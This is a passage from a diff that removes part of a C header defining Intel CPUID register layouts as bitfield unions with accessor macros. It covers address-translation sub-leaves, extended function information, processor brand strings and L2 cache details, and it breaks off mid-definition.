-#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] 4MB page size entries supported by this structure. - */ - uint32_t page_entries_4mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] 1 GB page size entries supported by this structure. - */ - uint32_t page_entries_1gb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). - */ - uint32_t partitioning : 3; -#define CPUID_EBX_PARTITIONING_BIT 8 -#define CPUID_EBX_PARTITIONING_FLAG 0x700 -#define CPUID_EBX_PARTITIONING_MASK 0x07 -#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) - uint32_t reserved2 : 5; - - /** - * [Bits 31:16] W = Ways of associativity. - */ - uint32_t ways_of_associativity_00 : 16; -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_BIT 16 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_FLAG 0xFFFF0000 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_MASK 0xFFFF -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Number of Sets. - */ - uint32_t number_of_sets : 32; -#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 -#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 4:0] Translation cache type field. - * - 00000b: Null (indicates this sub-leaf is not valid). - * - 00001b: Data TLB. - * - 00010b: Instruction TLB. - * - 00011b: Unified TLB. - * All other encodings are reserved. - * - * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will - * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see - * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. - */ - uint32_t translation_cache_type_field : 5; -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 7:5] Translation cache level (starts at 1). - */ - uint32_t translation_cache_level : 3; -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Fully associative structure. - */ - uint32_t fully_associative_structure : 1; -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) - uint32_t reserved1 : 5; - - /** - * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. - * - * @note Add one to the return value to get the result. - */ - uint32_t max_addressable_ids_for_logical_processors : 12; -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) - uint32_t reserved2 : 6; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_18_ecx_00; - -/** - * @brief Deterministic Address Translation Parameters Sub-leaf (EAX = 18H, ECX >= 1) - * - * @note Each sub-leaf enumerates a different address translation structure. - * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value - * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to - * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf - * or than a valid sub-leaf of a higher or lower-level structure. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] 4K page size entries supported by this structure. - */ - uint32_t page_entries_4kb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] 2MB page size entries supported by this structure. - */ - uint32_t page_entries_2mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 1 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] 4MB page size entries supported by this structure. - */ - uint32_t page_entries_4mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] 1 GB page size entries supported by this structure. - */ - uint32_t page_entries_1gb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). - */ - uint32_t partitioning : 3; -#define CPUID_EBX_PARTITIONING_BIT 8 -#define CPUID_EBX_PARTITIONING_FLAG 0x700 -#define CPUID_EBX_PARTITIONING_MASK 0x07 -#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) - uint32_t reserved2 : 5; - - /** - * [Bits 31:16] W = Ways of associativity. - */ - uint32_t ways_of_associativity_01 : 16; -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_BIT 16 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_FLAG 0xFFFF0000 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_MASK 0xFFFF -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Number of Sets. - */ - uint32_t number_of_sets : 32; -#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 -#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 4:0] Translation cache type field. - * - 00000b: Null (indicates this sub-leaf is not valid). - * - 00001b: Data TLB. - * - 00010b: Instruction TLB. - * - 00011b: Unified TLB. - * All other encodings are reserved. - * - * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will - * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see - * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. - */ - uint32_t translation_cache_type_field : 5; -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 7:5] Translation cache level (starts at 1). - */ - uint32_t translation_cache_level : 3; -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Fully associative structure. - */ - uint32_t fully_associative_structure : 1; -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) - uint32_t reserved1 : 5; - - /** - * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. - * - * @note Add one to the return value to get the result. - */ - uint32_t max_addressable_ids_for_logical_processors : 12; -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) - uint32_t reserved2 : 6; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_18_ecx_01p; - -/** - * @} - */ - - - /** - * @brief Extended Function CPUID Information - * - * When CPUID executes with EAX set to 80000000H, the processor returns the highest value the processor recognizes for - * returning extended processor information. The value is returned in the EAX register and is processor specific. - */ -#define CPUID_EXTENDED_FUNCTION_INFORMATION 0x80000000 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Maximum Input Value for Extended Function CPUID Information. - */ - uint32_t max_extended_functions : 32; -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_BIT 0 -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000000; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_EXTENDED_CPU_SIGNATURE 0x80000001 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] LAHF/SAHF available in 64-bit mode. - */ - uint32_t lahf_sahf_available_in_64_bit_mode : 1; -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_BIT 0 -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_FLAG 0x01 -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 0) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bit 5] LZCNT. - */ - uint32_t lzcnt : 1; -#define CPUID_ECX_LZCNT_BIT 5 -#define CPUID_ECX_LZCNT_FLAG 0x20 -#define CPUID_ECX_LZCNT_MASK 0x01 -#define CPUID_ECX_LZCNT(_) (((_) >> 5) & 0x01) - uint32_t reserved2 : 2; - - /** - * [Bit 8] PREFETCHW. - */ - uint32_t prefetchw : 1; -#define CPUID_ECX_PREFETCHW_BIT 8 -#define CPUID_ECX_PREFETCHW_FLAG 0x100 -#define CPUID_ECX_PREFETCHW_MASK 0x01 -#define CPUID_ECX_PREFETCHW(_) (((_) >> 8) & 0x01) - uint32_t reserved3 : 23; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - uint32_t reserved1 : 11; - - /** - * [Bit 11] SYSCALL/SYSRET available in 64-bit mode. - */ - uint32_t syscall_sysret_available_in_64_bit_mode : 1; -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_BIT 11 -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_FLAG 0x800 -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 11) & 0x01) - uint32_t reserved2 : 8; - - /** - * [Bit 20] Execute Disable Bit available. - */ - uint32_t execute_disable_bit_available : 1; -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_BIT 20 -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_FLAG 0x100000 -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_MASK 0x01 -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE(_) (((_) >> 20) & 0x01) - uint32_t reserved3 : 5; - - /** - * [Bit 26] 1-GByte pages are available if 1. - */ - uint32_t pages_1gb_available : 1; -#define CPUID_EDX_PAGES_1GB_AVAILABLE_BIT 26 -#define CPUID_EDX_PAGES_1GB_AVAILABLE_FLAG 0x4000000 -#define CPUID_EDX_PAGES_1GB_AVAILABLE_MASK 0x01 -#define CPUID_EDX_PAGES_1GB_AVAILABLE(_) (((_) >> 26) & 0x01) - - /** - * [Bit 27] RDTSCP and IA32_TSC_AUX are available if 1. - */ - uint32_t rdtscp_available : 1; -#define CPUID_EDX_RDTSCP_AVAILABLE_BIT 27 -#define CPUID_EDX_RDTSCP_AVAILABLE_FLAG 0x8000000 -#define CPUID_EDX_RDTSCP_AVAILABLE_MASK 0x01 -#define CPUID_EDX_RDTSCP_AVAILABLE(_) (((_) >> 27) & 0x01) - uint32_t reserved4 : 1; - - /** - * [Bit 29] Intel(R) 64 Architecture available if 1. - */ - uint32_t ia64_available : 1; -#define CPUID_EDX_IA64_AVAILABLE_BIT 29 -#define CPUID_EDX_IA64_AVAILABLE_FLAG 0x20000000 -#define CPUID_EDX_IA64_AVAILABLE_MASK 0x01 -#define CPUID_EDX_IA64_AVAILABLE(_) (((_) >> 29) & 0x01) - uint32_t reserved5 : 2; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000001; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_BRAND_STRING1 0x80000002 - - /** - * Extended Function CPUID Information. - */ -#define CPUID_BRAND_STRING2 0x80000003 - - /** - * Extended Function CPUID Information. - */ -#define CPUID_BRAND_STRING3 0x80000004 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String. - */ - uint32_t processor_brand_string_1 : 32; -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_BIT 0 -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_FLAG 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_MASK 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_2 : 32; -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_BIT 0 -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_FLAG 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_MASK 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_3 : 32; -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_BIT 0 -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_MASK 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_4 : 32; -#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_BIT 0 -#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_FLAG 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_MASK 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_4(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000002; - -/** - * @brief Extended Function CPUID Information - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_5 : 32; -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_BIT 0 -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_FLAG 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_MASK 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_6 : 32; -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_BIT 0 -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_FLAG 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_MASK 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_7 : 32; -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_BIT 0 -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_MASK 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_8 : 32; -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_BIT 0 -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_FLAG 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_MASK 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000003; - -/** - * @brief Extended Function CPUID Information - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_9 : 32; -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_BIT 0 -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_FLAG 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_MASK 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_10 : 32; -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_BIT 0 -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_FLAG 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_MASK 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_11 : 32; -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_BIT 0 -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_MASK 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_12 : 32; -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_BIT 0 -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_FLAG 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_MASK 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000004; - -/** - * @brief Extended Function CPUID Information - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000005; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_EXTENDED_CACHE_INFO 0x80000006 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 7:0] Cache Line size in bytes. - */ - uint32_t cache_line_size_in_bytes : 8; -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_BIT 0 -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_FLAG 0xFF -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_MASK 0xFF -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES(_) (((_) >> 0) & 0xFF) - uint32_t reserved1 : 4; - - /** - * [Bits 15:12] L2 Associativity field. - * L2 associativity field encodings: - * - 00H - Disabled. - * - 01H - Direct mapped. - * - 02H - 2-way. - * - 04H - 4-way. - * - 06H - 8-way. - * - 08H - 16-way. - * - 0FH - Fully associative. - */ - uint32_t l2_associativity_field : 4; -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_BIT 12 -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_FLAG 0xF000 -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_MASK 0x0F -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD(_) (((_) >> 12) & 0x0F) - - /** - * [Bits 31:16] Cache size in 1K units. - */ - uint32_t cache_size_in_1k_units : 16; -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_BIT 16 -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_FLAG 0xFFFF0000 -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_MASK 0xFFFF -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 